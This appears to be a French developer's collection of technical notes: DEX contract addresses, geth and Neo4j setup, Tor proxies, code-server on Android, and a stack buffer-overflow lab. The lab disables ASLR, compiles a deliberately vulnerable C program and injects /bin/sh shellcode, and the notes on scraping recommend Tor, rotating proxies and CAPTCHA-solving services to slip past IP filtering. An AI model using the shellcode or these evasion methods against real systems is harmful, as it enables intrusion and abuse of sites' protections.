  Router: 0x145677FC4d9b8F19B5D56d1820c48e0443049a30
  Fees: 0.17%

• VVS Finance (v2) - https://vvs.finance/
  Factory: 0x3B44B2a187a7b3824131F8db5a74194D0a42Fc15
  Router: 0x145863Eb42Cf62847A6Ca784e6416C1682b1b2Ae
  Fees: 0.2%

Ethereum

• HoneySwap (v2) - https://honeyswap.org/
  Factory: 0xd34971BaB6E5E356fd250715F5dE0492BB070452
  Router: 0xB9960d9bcA016e9748bE75dd52F02188B9d0829f
  Fees: 0.25%

• QuickSwap (v2) - https://quickswap.exchange/
  Factory: 0x5757371414417b8C6CAad45bAeF941aBc7d3Ab32
  Router: 0xa5E0829CaCEd8fFDD4De3c43696c57F7D7A678ff (preprod. adresses à vérifier)

• ShibaSwap (v2) - https://shibaswap.com/
  Factory: 0x115934131916C8b277DD010Ee02de363c09d037c
  Router: 0x03f7724180AA6b939894B5Ca4314783B0b36b329
  Doc: https://shibaswap.gitbook.io/shibaswap/
  Fees: 0.3%

• SushiSwap (v2) - https://sushi.com/
  Factory: 0xC0AEe478e3658e2610c5F7A4A2E1777cE9e4f2Ac
  Router: 0xd9e1cE17f2641f24aE83637ab66a2cca9C378B9F
  Fees: 0.3%

• Uniswap (v2) - https://app.uniswap.org
  Factory: 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f
  Router: 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
  Fees: 0.3%

Fantom

• JetSwap (v2) - https://jetswap.finance/
  Factory: 0xf6488205957f0b4497053d6422F49e27944eE3Dd
  Router: 0x845E76A8691423fbc4ECb8Dd77556Cb61c09eE25
  Fees: 0.3%

• Spookyi (v2) - https://spooky.fi
  Factory: 0x152eE697f2E276fA89E96742e9bB9aB1F2E61bE3
  Router: 0xF491e7B69E4244ad4002BC14e878a34207E38c29
  Fees: 0.22%

• SushiSwap (v2) - https://sushi.com/
  Factory: 0xc35DADB65012eC5796536bD9864eD8773aBc74C4
  Router: 0x1b02dA8Cb0d097eB8D57A175b88c7D8b47997506
  Fees: 0.3%

• TombSwap (v2) - https://swap.tomb.com/
  Factory: 0xE236f6890F1824fa0a7ffc39b1597A5A6077Cfe9
  Router: 0x6D0176C5ea1e44b08D3dd001b0784cE42F47a3A7
  Fees: 0.5%

Harmony (usage en preprod)

• Defi Kingdoms - https://defikingdoms.com/
  Factory: 0x9014B937069918bd319f80e8B3BB4A2cf6FAA5F7
  Router: 0x24ad62502d1C652Cc7684081169D04896aC20f30

Polygon

• ApeSwap (BANANA) (v2) - https://apeswap.finance
  Factory: 0xCf083Be4164828f00cAE704EC15a36D711491284
  Router: 0xC0788A3aD43d79aa53B09c2EaCc313A787d1d607
  Fees: 0.1%

• Dfyn Network (v2) - https://dfyn.network/
  Factory: 0xE7Fb3e833eFE5F9c441105EB65Ef8b261266423B
  Router: 0xA102072A4C07F06EC3B4900FDC4C7B80b6c57429
  Fees:

• HoneySwap (v2) - https://honeyswap.org/
  Factory: 0x03DAa61d8007443a6584e3d8f85105096543C19c
  Router: 0xaD340d0CD0B117B0140671E7cB39770e7675C848
  Fees:

• JetSwap (v2) - https://jetswap.finance/
  Factory: 0x668ad0ed2622C62E24f0d5ab6B6Ac1b9D2cD4AC7
  Router: 0x5C6EC38fb0e2609672BDf628B1fD605A523E5923
  Fees:

• Polycat (v2) - https://polycat.finance/
  Factory: 0x477Ce834Ae6b7aB003cCe4BC4d8697763FF456FA
  Router: 0x94930a328162957FF1dd48900aF67B5439336cBD
  Fees:

• Quickswap (v2) - https://quickswap.exchange/
  Factory: 0x5757371414417b8C6CAad45bAeF941aBc7d3Ab32
  Router: 0xa5E0829CaCEd8fFDD4De3c43696c57F7D7A678ff
  Fees:

• RadioShack (RADIO) (v2) - https://www.radioshack.org/
  Factory: 0xB581D0A3b7Ea5cDc029260e989f768Ae167Ef39B
  Router: 0xAf877420786516FC6692372c209e0056169eebAf
  Fees:

• Uniswap (v3)
  Factory: 0x1F98431c8aD98523631AE4a59f267346ea31F984
  Router: 0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45 Fees:

• SushiSwap (v2) - https://sushi.com/
  Factory: 0xc35DADB65012eC5796536bD9864eD8773aBc74C4
  Router: 0x1b02dA8Cb0d097eB8D57A175b88c7D8b47997506
  Fees: 0.3%

Gnosis / xDAI (usage en preprod)

• Baoswap (v2) - https://www.baoswap.xyz/#/swap
  Factory: 0x45DE240fbE2077dd3e711299538A09854FAE9c9b
  Router: 0x6093AeBAC87d62b1A5a4cEec91204e35020E38bE
  Doc: https://docs.bao.finance/contracts-and-key-info/xdai
  Fees:

• HoneySwap - https://honeyswap.org/
  Factory: 0xA818b4F111Ccac7AA31D0BCc0806d64F2E0737D7
  Router: 0x1C232F01118CB8B424793ae03F870aa7D0ac7f77
  Fees:

• SushiSwap - https://sushi.com/
  Factory: 0xc35DADB65012eC5796536bD9864eD8773aBc74C4
  Router: 0x1b02dA8Cb0d097eB8D57A175b88c7D8b47997506
  Fees:

Créer un fichier get_abi.py et coller le contenu suivant:

#!/usr/bin/python
import argparse
import requests
import json


ABI_ENDPOINT = "https://api.etherscan.io/api?module=contract&action=getabi&address="

parser = argparse.ArgumentParser()
parser.add_argument("-a", "--address", type=str, help="Smart contract address")
parser.add_argument("-o", "--output", type=str, help="Path to store the output ABI JSON file", required=True)

def __main__() -> None:
    """Exports contract ABI in JSON"""
    args = parser.parse_args()
    resp_json_ = requests.get(f"{ABI_ENDPOINT}{args.addr}").json()
    abi_json = json.loads(resp_json["result"])
    result = json.dumps({"abi": abi_json}, indent=4, sort_keys=True)
    open(args.output, "w").write(result)

if __name__ == "__main__":
    __main__()

Et voici la commande pour utiliser ce script:

python get_abi --address=ADDRESS_CONTRACT --output=OUTPUT_PATH

Synchronisation

Si vous n’avez pas accès la machine, vous pouvez utiliser curl:

curl -H "Content-Type: application/json" -X POST --data '{"jsonrpc":"2.0","method":"eth_syncing","params":[],"id":1}' http://127.0.0.1:8545

Par contre, si vous avez accès à geth sur le serveur faisant tourner la blockchain vous pouvez utiliser une de ces deux commandes:

./geth_bsc --exec "loadScript('GethSyncingProgress_2TimeEstimate.js')" attach ./node/geth.ipc

Le script MIT réalisé par Lyricalpolymath GethSyncingProgress_2TimeEstimate.js est le suivant:

/**
*   GETH SYNCING PROGRESS - TIME ESTIMATE
*  a script to estimate how much time is left to fully sync the Ethereum Blockchain with Geth
*  
*  If it takes too long, consider restarting geth with 
*		the '--fast' option (not suggested for developers), 
*		or better the '--cache=1024' or '--cache=2048 option that will assign more RAM to geth and make it faster
* 
*  (c) Lyricalpolymath 2016. MIT Licence 
*  http://github.com/lyricalpolymath
*/


// run like this
// $ geth --exec "loadScript('GethSyncingProgress_2TimeEstimate.js')" attach  

                   
//number of blocks to test before we give a timing estimate    
var resolution = 10; 

var startDate = new Date();
var endDate;
var s = eth.syncing;
var block1 = s.currentBlock
var blockLast = block1 + resolution
 

// convert the duration for the stats
function msToTime(duration) {
    var milliseconds = parseInt((duration % 1000) / 100),
        seconds = parseInt((duration / 1000) % 60),
        minutes = parseInt((duration / (1000 * 60)) % 60),
        hours = parseInt((duration / (1000 * 60 * 60)) % 24), 
		days = parseInt((duration / (1000 * 60 * 60 * 24)) % 365);
       
    var h = (hours < 10) ? "0" + hours : hours;
    var m = (minutes < 10) ? "0" + minutes : minutes;
    var s = (seconds < 10) ? "0" + seconds : seconds;

    return days + "d :" + hours + "h :" + minutes + "m :" + seconds + "s." + milliseconds;
}
    

function displayTimeEstimate() {
	s = eth.syncing;
	var blocksLeft = (s.highestBlock-s.currentBlock)   
	var time_duration = endDate - startDate  //returns amount of milliseconds passed
	var time_duration_readable = msToTime(time_duration);
	var time_left = msToTime( (time_duration / resolution) * blocksLeft );
	
	console.log("------------ GETH SYNCING PROGRESS - Time estimate")
	console.log("progress: " + (s.currentBlock/s.highestBlock*100));
	console.log("Estimated Time left*: " + time_left);
	console.log("Time it took to parse " + resolution + " blocks: " + time_duration_readable); 
	console.log("blocks left to parse: " + blocksLeft ); 
	 
	if(time_duration_readable.indexOf("0d") != -1) {
		console.log("--------------------------------------------------") 
		console.log("*WARNING: this is just an ESTIMATE based on how much time it took to parse " + resolution + " blocks. But each block is different, some take longer than others because they have more transactions, and also, new blocks are continuously added");
		console.log("If it takes too long, consider restarting geth with the '--fast' option (not suggested for developers), or better the '--cache=1024' or '--cache=2048 option that will assign more RAM to geth and make it faster");
	}  
}


// wait untill the number of Blocks isn't like the BlockLast
// and then calculate the time difference and show it on the console 
console.log("\nGeth Syncing progress Time Estimate - STARTED - be patient, this might take ≈" + (resolution*5) + " seconds approximately")
do {
   var cb = eth.syncing.currentBlock;
   if (cb >= blockLast) {
	   endDate = new Date();
	   displayTimeEstimate()
   }
} while(cb < blockLast) 

Ou cette commande plus simple:

./geth_bsc --exec 'var s = eth.syncing; console.log("\n------------ GETH SYNCING PROGRESS\nprogress: " + (s.currentBlock/s.highestBlock*100)+ " %\nblocks left to parse: "+ (s.highestBlock-s.currentBlock) + "\ncurrent Block: " + s.currentBlock + " of " + s.highestBlock)' attach ./node/geth.ipc

Tunnel vers Geth si remote access not configured

Bien sûr à ne pas utiliser en production

ssh -N -v -p PORT_SSH VOTRE_SSH_USER@VOTRE_SSH_SERVER -L 8545:localhost:8545

Truster le repo Neo4j

curl -fsSL https://debian.neo4j.com/neotechnology.gpg.key |sudo gpg --dearmor -o /usr/share/keyrings/neo4j.gpg

Ajouter le repo Neo4j dans la liste des packages APT

echo "deb [signed-by=/usr/share/keyrings/neo4j.gpg] https://debian.neo4j.com stable 4.1" | sudo tee -a /etc/apt/sources.list.d/neo4j.list

Prendre en compte la nouvelle source

sudo apt update

Installer le package

sudo apt install neo4j

Enable le service

sudo systemctl enable neo4j.service

Démarrer le service

sudo systemctl start neo4j.service

Vérifier que le service est UP

sudo systemctl status neo4j.service

Vérifier l’installation et changer le mot de passe par défaut

cypher-shell

Neo4j sera disponible sur localhost (neo4j://127.0.0.1:7687) uniquement. Rendez-vous dans /etc/neo4j/neo4j.conf pour binder Neo4j aux interfaces IPv4 ou IPv6 de votre serveur.

Filtrage IP

Possibilité de passer sous le radar des API gateway avec des nouvelles IPs.

Proxy Anonyme via Tor

Avantage: Rapidité de mise en oeuvre
Inconvénient: Range d’IPs connu

Example d’usage sur OSX avec Python 3:

pip insall requests
brew install tor
tor

ou 

brew services start tor

Dans un programme Python:

import requests

proxies = {
    'http': 'socks5://127.0.0.1:9050',
    'https': 'socks5://127.0.0.1:9050'
}

req = requests.Session()
url = ""
req.get(url, proxies=proxies)

ou

# pip install requests
# pip install pysocks

import requests

proxies = {
  "http": "socks5://127.0.0.1:9050",
  "https": "socks5://127.0.0.1:9050",
}

req = requests.Session()
url = "http://jsonip.com"
response = req.get(url, proxies=proxies)
ip = response.json()['ip']
print('Your public IP is:', ip)

Proxies en tout genre

Utiliser des proxies publiques à la place de Tor. Scraping totalement indétectable si le proxy change très régulièrement. Par exemple, des failles XSS ou botnet (TDL4 rootkit de 2011 https://www.youtube.com/watch?v=k3g5gNcHoFM) sont exploitées…

Etant donné que l’on parle de proxy, sécurité et Python dans cet article, j’en profite pour vous indiquer quelques références que je recommende pour apprendre la sécurité avec Python.

Et enfin, cette référence pour avoir un point de vue plus entreprise.

Browser headless type Selenium

Il existe pas mal de solutions concurrentes. Selenium fontionne très bien. RPA python fonctionne également très bien et il permet de mieux intéragir avec le desktop. Selenium conjugé à fake_useragent, des tailles d’écran différentes et le plugin browsermob-proxy permet de récupérer à peu près tout ce qu’on veut. Il n’est pas forcément nécessaire de contourner le filtrage IP ou plus généralement les quota limits car malheureusement rarement mis en place.

rpa a le mérite d’être excessivement simple à boostraper.
Un simple pip install rpa et un minuscule script comme ci-dessous permet de d’ouvrir un browser sur une URL donnée.

url = "https://..."
r.init(
   visual_automation=True,
   chrome_browser=True,
   headless_mode=False,
   turbo_mode=False,
)
r.url(url)
# r.click('//a[normalize-space()="Inventaire complet"]') 
r.wait(10)
r.close()

Pour les XPATHs utiliser l’extensions SelectorsHUB

Captcha

Malheureusement ils se contournent.

Exemple de resources:

• https://2captcha.com/api-2captcha

• https://2captcha.com/newapi-recaptcha-en

• https://pixodrom.com/

• https://www.9kw.eu/plugins.html

• https://www.ghstools.fr/api_captcha.php

• http://caca.zoy.org/wiki/PWNtcha

• Python 3+
  
• pip install requests

import requests
from datetime import datetime
from time import sleep

TOR_PROXIES_URI = "https://check.torproject.org/torbulkexitlist"

previous_ips = set()

while True:
    result = requests.get(TOR_PROXIES_URI).content
    results = result.decode("utf-8").split("\n")
    now = datetime.now()
    tmp_previous_ips = set()
    for ip in results:
        if not ip:
            continue
        tmp_previous_ips.add(ip)
        if ip not in previous_ips:
            print(f"NEW EXIT NODE DETECTED at {now}: {ip}")
    diff_stopped_exit_nodes = previous_ips - tmp_previous_ips
    if len(list(diff_stopped_exit_nodes)) > 0:
        print(f"FOLLOWING NODES STOPPED at {now}: {diff_stopped_exit_nodes}")
    previous_ips = tmp_previous_ips
    sleep(60)
    print(".")

• Lien intéressant pour détecter si on utilise Tor ou non: https://check.torproject.org/

• Pour spécifier un exit node sur OSX, éditer le fichier vim ~/Library/Application\ Support/TorBrowser-Data/Tor/torrc et ajouter la ligne suivante: ExitNodes IP_NEW_NODE.

Raccourci .zshrc

update_ip_tor_browser ()
{
    content="
    ClientOnionAuthDir /Users/olivier/Library/Application Support/TorBrowser-Data/Tor/onion-auth
    DataDirectory /Users/olivier/Library/Application Support/TorBrowser-Data/Tor
    GeoIPFile /Applications/Tor Browser.app/Contents/Resources/TorBrowser/Tor/geoip
    GeoIPv6File /Applications/Tor Browser.app/Contents/Resources/TorBrowser/Tor/geoip6
    ExitNodes $1
    "
    echo $content > ~/Library/Application\ Support/TorBrowser-Data/Tor/torrc
    osascript -e 'quit app "Tor Browser"'
    open -a "Tor Browser"
}

reset_tor_browser ()
{
    content="
    ClientOnionAuthDir /Users/olivier/Library/Application Support/TorBrowser-Data/Tor/onion-auth
    DataDirectory /Users/olivier/Library/Application Support/TorBrowser-Data/Tor
    GeoIPFile /Applications/Tor Browser.app/Contents/Resources/TorBrowser/Tor/geoip
    GeoIPv6File /Applications/Tor Browser.app/Contents/Resources/TorBrowser/Tor/geoip6
    "
    echo $content > ~/Library/Application\ Support/TorBrowser-Data/Tor/torrc
    osascript -e 'quit app "Tor Browser"'
    open -a "Tor Browser"
}

ls -l /usr/share/xsessions/

Output:

-rw-r--r-- 1 root root  155 janv.  9  2021 cinnamon.desktop
-rw-r--r-- 1 root root  268 janv.  9  2021 cinnamon2d.desktop
-rw-r--r-- 1 root root 8192 mars  23  2020 mate.desktop
-rw-r--r-- 1 root root  303 mars  26  2020 ubuntu.desktop

En pré-requis, il faut avoir jq

brew install jq

Ensuite, il suffit d’exécuter la commande suivante:

jq -r '.default
        | to_entries[]
        | .key + .value.version' \
    Pipfile.lock > requirements.txt

J’ai parfois eu cette erreur après avoir bidouillé: SystemError: ffi_prep_closure(): bad user_data (it seems that the version of the libffi library seen at runtime is different from the 'ffi.h' file seen at compile-time). Bref c’est une erreur Openssl. Il manque une lib dans /usr/local/lib/. Le pourquoi du comment il manque cette lib, je n’ai pas eu le temps de creuser. Par contre, exécuter les commandes suivantes a résolu mon problème.

brew install openssl
ln -s /usr/local/opt/openssl\@3/lib/libcrypto.dylib /usr/local/lib/libcrypto.dylib
ln -s /usr/local/opt/openssl\@3/lib/libssl.dylib /usr/local/lib/libssl.dylib

Installation

Installer le package suivant:

brew install coreutils

Récupérer la dernière release de Sentry sur ce lien.

Dans mon cas, j’ai téléchargé la version self-hosted-22.5.0

Ensuite, il suffit d’exécuter les commandes suivantes:

cd self-hosted-22.5.0
./install.sh
# ou (en local)
# ./install.sh --no-user-prompt

# yes pour créer un compte admin
# ou pour en recréer un:
# docker-compose run --rm web createuser 

docker compose up -d

Une fois installé, rendez-vous à l’adresse http://localhost:9000 pour accéder à l’interface de Sentry.

echo "# Tor alias" >> ~/.zshrc
echo "alias myip='curl -s https://api.ipify.org/'" >> ~/.zshrc
echo "alias myiplookup='ip2cc \$(curl -s https://api.ipify.org/)'" >> ~/.zshrc
echo "alias mytorip='curl -s --socks5 127.0.0.1:9050 https://api.ipify.org/'" >> ~/.zshrc
echo "alias mytoriplookup='ip2cc \$(curl -s --socks5 127.0.0.1:9050 https://api.ipify.org/)'" >> ~/.zshrc
echo "alias tor_on='sudo networksetup setsocksfirewallproxy \"Wi-Fi\" 127.0.0.1 9050 && tor'" >> ~/.zshrc
echo "alias tor_off='sudo networksetup setsocksfirewallproxystate \"Wi-Fi\" off && killall tor'" >> ~/.zshrc
source ~/.zshrc

Installation du driver

Installer le driver virtuel permettant d’enregistrer le son built-in.

brew install blackhole-16ch

Création de nouvelles interfaces audio

Ouvrir l’application officielle Apple Audio MIDI setup.

Nous allons créer 2 interfaces audio. Une en input et une en output.

Première interface (input)

En bas du menu de gauche cliquer sur le petit + puis créer un Aggregated Device. Cocher la case Use BlackHole 16ch dans la fenêtre de droite et renommer l’interface en Quicktime input

Deuxième interface (output)

Créer une seconde interface Multi-output Device.

Nommer la Screen Recording audio puis sélectionner les devices built-in Output et Blackhote 16ch dans le menu de droite.

Test d’enregistrement de screen avec son

Dans System Preferences -> Sound -> Output, l’interface Screen Recording audio (Aggregated device) doit être sélectionnée; sans quoi le son émis par votre MAC ne sera pas enregistré.

Presser simultanément les touches cmd + shift + 5 puis cliquer sur Options. Sélectionner l’interface Quicktime input et commencer un enregistrement.

Lorsque l’enregistrement est terminé; retourner dans System Preferences -> Sound -> Output et remettre Internal Speakers comme sortie sonore.

That’s it!

Installation du client cli Github

Adresse officielle du package

brew install gh
gh auth login

Création de la PR

gh pr create --base master --head your_branch --title "$(git log -1 --pretty=format:'%s')" --body "$(cat pull_request_template.md)"

Raccourcis pour récupérer les infos du dernier commit

Editer le fichier ~/.zshrc et ajouter les fonctions suivantes:

function get_last_commit_message ()
{
  text=$(git log -1 --pretty=format:'%s%n%n%b') && echo $text | pbcopy
}

function get_last_commit_title ()
{
  text=$(git log -1 --pretty=format:'%s') && echo $text | pbcopy
}

Installation

sudo pacman -S android-tools

Permissions

# Si adb tourne déjà
# adb kill-server
# Puis démarrage avec sudo
sudo adb start-server

Upload de fichiers

# Lister les directories du device
# adb shell ls -R /
# adb shell ls /

adb push ./output-encoded.mp4 /sdcard/Movies/output-encoded.mp4

Download

Pour le download, utiliser adb pull ...

L’idée de cette attaque est d’injecter du code malveillant grâce au buffer flow, de récupérer les adresses EIP de ces instructions et d’insérer ces adresses EIP dans une stack frame entre les registres EBP et ESP pour qu’elles soient exécutées.

Pour les processeurs 32 bits:

• EIP: registre qui contient l’adresse mémoire des prochaines instructions qui seront exécutées.
• Les registres EBP (début) et ESP (fin) délimitent des stack frames. Lorsque une stack frame est pleine, elle est envoyée dans l’EIP pour être exécutée.

Démarrer un container poubelle sur un Host 32 bits. --privileged est indispensable pour modifier l’ASLR et installer ensuite les outils nécessaires.

docker run -it --rm --privileged --pid=host ubuntu bash
apt update && apt install -y vim gcc gcc-multilib build-essential gdb git python-dev-is-python2 curl ruby-full

# Installation de peda pour trouver l'offset (nombre de caractères à insérer avant d'être en buffer overflow)
git clone https://github.com/longld/peda.git ~/peda && echo "source ~/peda/peda.py" >> ~/.gdbinit

# Installation de metasploit
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && chmod 755 msfinstall && ./msfinstall
mkdir Dev && cd $_ && git clone https://github.com/rapid7/metasploit-framework --depth 1

Désactiver l’ASLR. ⚠ pensez à le réactiver car c’est le host qui est modifié ici, pas le container. (Faites le test avec un nouveau container flambant neuf)

cat /proc/sys/kernel/randomize_va_space
echo 0 > /proc/sys/kernel/randomize_va_space
cat /proc/sys/kernel/randomize_va_space

Créer un fichier C avec une faille buffer overflow: mkdir Dev && $_ && vim hello.c

#include <string.h>
#include <stdio.h>

void sayHello(char *arg) {
  char buffer[20];
  strcpy(buffer, arg);
  printf("hello %s\n", buffer);
}

int main(int argc, char** argv) {
  sayHello(argv[1]);
  return 0;
}

On compile:

gcc -z execstack -fno-stack-protector -m32 hello.c -o hello

On exécute le binaire: ./hello World.

hello World

On exécute le binaire: ./hello Olivierrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrr avec un débordement du buffer

hello Olivierrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrr
Segmentation fault

Trouver l’offset:

# Ouvrir un terminal et exécuter:
# Générer une string aléaire à utiliser comme paramètre du programme hello
cd Dev/metasploit-framework/tools/exploit
gem install rex-text
./pattern_create.rb -l 100
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A

# Dans un second terminal
gdb ./hello
gdb-peda$ run Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A

Puis dans le premier terminal exécuter:

./pattern_offset.rb -q 0Ab1

[*] Exact match at offset 32

EIP contient l’adresse des instructions à exécuter. Donc on récupère l’ESP (la fin) de la stack frame précédente

run $(python -c "print 'A'*32")
info frame
print $esp

–> 0xffffd700

On se cale dessus et on exécute notre shell code. On transforme ‘0xffffd700’ -> ‘\x00\xd7\xff\xff’

Pour le Shell code, rendez-vous sur http://shell-storm.org/shellcode/files/shellcode-827.php

./hello $(python -c "print 'A'*32  + '\x00\xd7\xff\xff' + '\x90'*40 + '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80'")

Et voilà, vous verrez apparaître un shell…

Protection

• Activer l’ASLR (Address Space Layout Randomization)

cat /proc/sys/kernel/randomize_va_space 
# Si 2 --> c'est activé; all good

• Ecrire du code plus robuste

En France, en ligne

• Go Tronic
• Lextronic
• Conrad
• e44 (plusieurs magasins dans le 44)
• Composants Electroniques
• Radiospares professionnels
• Radiospares particuliers
• Farnell
• reboul
• vdram
• passion-radio
• Amazon (à éviter pour l’électronique)
• Aliexpress (à éviter pour l’électronique)

Aux USA

• Adafruit (à l’étranger mais Adafruit est une pépite):

Arduino cartes et modules (shields)

Arduino shield list: http://shieldlist.org/ (Inventaire des “shields” disponibles pour arduino)

• Lextronic (sparkfun distributeur)
• semageek + Projets https://www.semageek.com/

Robotique

• robotshop
• generationrobots (sparkfun distributeur)
• kubii

Installation

sudo pacman -S docker	
sudo groupadd docker
sudo usermod -aG docker $USER
sudo chmod 666 /var/run/docker.sock
sudo systemctl enable docker.service
sudo systemctl start docker.service

Vérification

docker run hello-world

L’iPhone, par contre, je le trouve beaucoup trop cher pour que c’est. Et surtout iOS est totalement (volontairement et inutilement) limité et bien en dessous d’Android en terme de fonctionnalités.

Lorsque je voyage pour le tourisme, je n’ai pas forcément envi de transporter mon précieux Macbook Pro. Transporter uniquement un iPad pourrait être une bonne solution mais il est limité. Il n’y a pas de terminal, pas d’IDE; bref pour mon travail c’est totalement limitant. Un smartphone Android est presque une meilleure alternative car son système est ouvert mais il faut transporter un clavier bluetooth, une souris, un câble HDMI et espérer qu’il y aura une télévision pas trop ancienne là où vous vous rendez. Si vous voyagez en Europe de l’Ouest cela devrait aller mais si vous partez ailleurs… Certaines personnes parlent d’IDE (github.dev) ou de VM dans le Cloud mais de la même manière, si vous partez dans un pays pauvre ou sous développé vous n’aurez pas forcément accès à la 3G/4G ou à du Wifi.

Ma solution à ce problème consiste à utiliser la combinaison iPad + Logitech Folio Touch + mon Smartphone Android. Je me sers de l’iPad comme écran principalement, du clavier/ trackpad pour coder et je le connecte en remote à mon Smartphone Android (un Linux). Depuis mon Smartphone, je crée un hotspot et j’installe un Ubuntu + Code server et je connecte mon iPad dessus. Avec cette solution, je n’ai pas besoin d’internet et je peux avoir tous les outils que je souhaite sans limitation.

Installation

Sur Android, installer Userland et télécharger un Ubuntu.

Démarrer ensuite un hotspot et connectez y votre iPad en wifi.

Sur l’Ubuntu nouvellement démarré sur Android, exécuter les commandes suivantes:

sudo apt update
sudo apt upgrade -y
sudo apt install vim git wget net-tools tmux -y
# Récupérer l'adresse IP de votre smartphone
ifconfig 
wget https://bit.ly/3CveNfu -O vscode.tar.gz
#wget https://github.com/cdr/code-server/releases/download/v3.12.0/code-server-3.12.0-linux-arm64.tar.gz
tar -zxvf ./vscode.tar.gz
#tar -xvf ./code-server-3.12.0-linux-arm64.tar.gz
cd code-server-*/bin
export PASSWORD="password"
./code-server
ctrl+c

Editer le fichier ~/.config/code-server/config.yaml et spécifier 0.0.0.0 comme bind address à la place de 127.0.0.1.

Pour avoir de l’HTTPS sur votre instance code-server, exécutez les commandes suivantes:

# Replaces "cert: false" with "cert: true" in the code-server config.
sed -i.bak 's/cert: false/cert: true/' ~/.config/code-server/config.yaml
# Replaces "bind-addr: 0.0.0.0:8080" with "bind-addr: 0.0.0.0:443" in the code-server config.
sed -i.bak 's/bind-addr: 0.0.0.0:8080/bind-addr: 0.0.0.0:443/' ~/.config/code-server/config.yaml
# Allows code-server to listen on port 443.
sudo apt install -y libcap2-bin
sudo setcap cap_net_bind_service=+ep /home/olivier/code-server-3.10.2-linux-arm64/lib/node
./code-server

Relancer ensuite code-server puis rendez-vous sur https://192.168.43.1:2443/

Test

Sur votre iPad, ouvrez une nouvelle fenêtre Safari et rendez-vous à l’adresse sur laquelle tourne code-server. Pour ma part, il s’agit de l’adresse http://10.157.254.22:8080.

Pour accéder au terminal de votre Ubuntu installé sur votre smartphone depuis votre iPad, installez l’app WebSSH. Le port SSH d’Ubuntu sur Userland est le 2022.

Ou depuis un Mac: ssh userland@192.168.43.1 -p 2022

Installer une app de type Keep Screen On sur votre Android pour éviter que UserLand ne se stoppe.

Création d’un service

systemd error: System has not been booted with systemd as init system (PID 1). Can't operate. Failed to connect to bus: Host is down

Systemd n’est pas accessible donc créer un fichier dans /etc/init.d/code:

#!/bin/sh
### BEGIN INIT INFO
# Provides:          code-server
# Required-Start:    $remote_fs $syslog
# Required-Stop:     $remote_fs $syslog
# Default-Start:     2 3 4 5
# Default-Stop:      0 1 6
# Short-Description: code-server
# Description:       Init script for coder-server. Edit
#                    ~/.config/code-server/config.yaml to configure the server.

PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
DAEMON=/home/olivier/coder/bin/code-server
NAME=code-server
DESC="Code-server app"

NO_START=0

set -e

. /lib/lsb/init-functions

cancel() { echo "$1" >&2; exit 0; };
test -x "$DAEMON" || cancel "$DAEMON does not exist or is not executable."
test ! -x /usr/sbin/update-service || ! update-service --check code-server ||
  cancel 'The code-server service is controlled through runit, use the sv(8) program'

case "$1" in
  start)
	test "$NO_START" = "0" || cancel "Starting $DESC: [abort] NO_START is not set to zero in $DEFAULTCFG"
  export PASSWORD="motdepassecodeserver"
	echo -n "Starting $DESC: "
	start-stop-daemon --start --quiet --make-pidfile --pidfile /var/run/"$NAME".pid \
	  --exec "$DAEMON" --retry 60 --background
	echo "--> $NAME."
	;;
  stop)
	echo -n "Stopping $DESC: "
	start-stop-daemon --stop --quiet --oknodo --pidfile /var/run/"$NAME".pid
	rm /var/run/"$NAME".pid
	echo "--> $NAME."
	;;
  restart|force-reload)
	test "$NO_START" = "0" || cancel "Restarting $DESC: [abort] NO_START is not set to zero in $DEFAULTCFG"
	echo -n "Restarting $DESC: "
	start-stop-daemon --stop --quiet --oknodo --pidfile /var/run/"$NAME".pid
	rm /var/run/"$NAME".pid
	sleep 2
	start-stop-daemon --start --quiet --make-pidfile --pidfile /var/run/"$NAME".pid \
          --exec "$DAEMON" --retry 60 --background
	echo "--> $NAME."
	;;
  status)
		status_of_proc -p /var/run/"$NAME".pid $DAEMON $NAME && exit 0 || exit $?
	;;
  *)
	N=/etc/init.d/$NAME
	echo "Usage: $N {start|stop|status|restart|force-reload}" >&2
	exit 1
	;;
esac

exit 0

Puis démarrer le service /etc/init.d/code start après avoir ajouté les droits d’exécution sur le script sudo chmod +x /etc/init.d/code

Lister les services: service --status-all

Voir si le pid file a bien été créé: ls /var/run

Répertoire partagé entre Android et Ubuntu

Depuis Ubuntu, créer un fichier dans touch /storage/internal/test-ubuntu-android.txt.

Rendez-vous ensuite sur Android, ouvrez l’app Fichier et vérifiez que le nouveau fichier a bien été créé dans le répertoire Téléphone –> Android –> data –> tech.ula –> files –> storage

Dans cet article rapide, nous allons voir comment vérifier qu’un pod peut accéder à un serveur distant. Dans l’image Docker utiliséz dans le pod, aucun outil n’est installé (ping command not found…).

ICMP

Ping, c’est ICMP, donc si ICMP est bloqué vous ne pourrez pas pinger votre serveur.

Connexion tcp/udp via device

Depuis le pod, kubectl exec..., exécuter les commandes suivantes:

export host=le_host_de_votre_serveur_distant
export port=le_port_de_votre_serveur_distant
(echo >/dev/tcp/${host}/${port}) &>/dev/null && echo "open" || echo "closed"

Rappel autres outils

telnet:

telnet IP_DE_VOTRE_HOST 80

Netcat:

nc -nv ip_address port_number

tcpconnect:

tcpconnect -v remote_host remote_port
# for i in seq 1 65535 ; do tcpconnect -v remotehost $i ; done

Et voilà.

Dans cet article, nous allons voir comment installer Arch Linux de A à Z.

Démarrage de l’installation

Créer une clé usb de boot contenant l’ISO d’archlinux puis booter dessus (presser F10 généralement).

Sur le premier menu, sélectionner Arch Linux installation medium et appuyer sur entrer.

Vous arriverez ensuite sur un terminal zsh en mode root.

